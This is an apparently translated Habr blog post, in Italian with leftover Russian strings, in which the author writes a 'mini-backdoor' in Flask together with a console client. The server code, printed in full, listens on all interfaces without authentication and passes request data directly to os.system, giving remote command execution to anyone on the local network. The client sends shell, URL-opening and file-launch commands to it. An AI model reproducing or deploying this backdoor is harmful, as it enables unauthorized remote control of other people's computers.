Ehi Habr!
Recentemente ho guardato una versione scaricata del flusso di programmazione "Come creare la tua applicazione web in Flask". E ho deciso di consolidare le mie conoscenze in qualche progetto. Per molto tempo non sapevo cosa scrivere e mi è venuta l’idea: “Perché non realizzare una mini-backdoor in Flask?”
Le prime opzioni per implementazioni e funzionalità della backdoor sono apparse immediatamente nella mia testa. Ma ho deciso di fare subito un elenco delle funzionalità backdoor:
- Sapere come aprire i siti web
- Avere accesso alla riga di comando
- Essere in grado di aprire programmi, foto, video
Quindi, il primo punto è estremamente facile da implementare utilizzando il modulo del browser web. Ho deciso di implementare il secondo punto utilizzando il modulo os. E anche il terzo avviene tramite il modulo del sistema operativo, ma userò i “link” (ne parleremo più avanti).
Scrivere un server
Quindi, *rullo di tamburi* tutto il codice del server:
from flask import Flask, request
import webbrowser
import os
import re
app = Flask(__name__)
@app.route('/mycomp', methods=['POST'])
def hell():
json_string = request.json
if json_string['command'] == 'test':
return 'The server is running and waiting for commands...'
if json_string['command'] == 'openweb':
webbrowser.open(url='https://www.'+json_string['data'], new=0)
return 'Site opening ' + json_string['data'] + '...'
if json_string['command'] == 'shell':
os.system(json_string['data'])
return 'Command execution ' + json_string['data'] + '...'
if json_string['command'] == 'link':
links = open('links.txt', 'r')
for i in range(int(json_string['data'])):
link = links.readline()
os.system(link.split('>')[0])
return 'Launch ' + link.split('>')[1]
if __name__ == '__main__':
app.run(host='0.0.0.0')
Ho già scaricato tutto il codice, è ora di spiegare l'essenza.
Tutto il codice viene eseguito sul computer locale sulla porta 5000. Per interagire con il server, dobbiamo inviare una richiesta JSON POST.
Struttura della richiesta JSON:
{‘command’: ‘comecommand’, ‘data’: ‘somedata’}
Bene, è logico che "comando" sia il comando che vogliamo eseguire. E "dati" sono gli argomenti del comando.
Puoi scrivere e inviare richieste JSON per interagire manualmente con il server (le richieste ti aiuteranno). Oppure puoi scrivere un client console.
Scrivere un cliente
Codice:
import requests
logo = ['nn',
'****** ********',
'******* *********',
'** ** ** **',
'** ** ** ** Written on Python',
'******* ** **',
'******** ** **',
'** ** ** ** Author: ROBOTD4',
'** ** ** **',
'** ** ** **',
'******** *********',
'******* ********',
'nn']
p = ''
iport = '192.168.1.2:5000'
host = 'http://' + iport + '/mycomp'
def test():
dict = {'command': 'test', 'data': 0}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
def start():
for i in logo:
print(i)
start()
test()
while True:
command = input('>')
if command == '':
continue
a = command.split()
if command == 'test':
dict = {'command': 'test', 'data': 0}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
if a[0] == 'shell':
for i in range(1, len(a)):
p = p + a[i] + ' '
dict = {'command': 'shell', 'data': p}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
p = ''
if a[0] == 'link':
if len(a) > 1:
dict = {'command': 'link', 'data': int(a[1])}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
else:
print('Комманда не содержит аргументов!')
if a[0] == 'openweb':
if len(a) > 1:
dict = {'command': 'openweb', 'data': a[1]}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
else:
print('Комманда не содержит аргументов!')
if a[0] == 'set':
if a[1] == 'host':
ip = a[2] + ':5000'
if command == 'quit':
break
Spiegazioni:
Innanzitutto viene importato il modulo delle richieste (per interagire con il server). Di seguito sono descritte le funzioni di avvio e test. E poi il ciclo in cui avviene la magia. Hai letto il codice? Quindi capisci il significato della magia che avviene nel ciclo. Inserisci il comando: verrà eseguito. Shell – comandi per la riga di comando (la logica è fuori scala).
Test: controlla se il server è in esecuzione (backdoor)
Link – uso di una “scorciatoia”
Openweb – apertura di un sito web
Esci: esci dal client
Set – impostazione dell'ip del tuo computer sulla rete locale
E ora di più sul collegamento.
C'è un file link.txt accanto al server. Contiene collegamenti (percorso completo) a file (video, foto, programmi).
La struttura è questa:
полный_путь>описание
полный_путь>описание
risultato
Disponiamo di un server backdoor per controllare un computer su una rete locale (all'interno di una rete Wi-Fi). Tecnicamente, possiamo eseguire il client da qualsiasi dispositivo dotato di un interprete Python.
PS Ho aggiunto il comando set in modo che se a un computer della rete locale viene assegnato un IP diverso, questo può essere modificato direttamente nel client.
Fonte: habr.com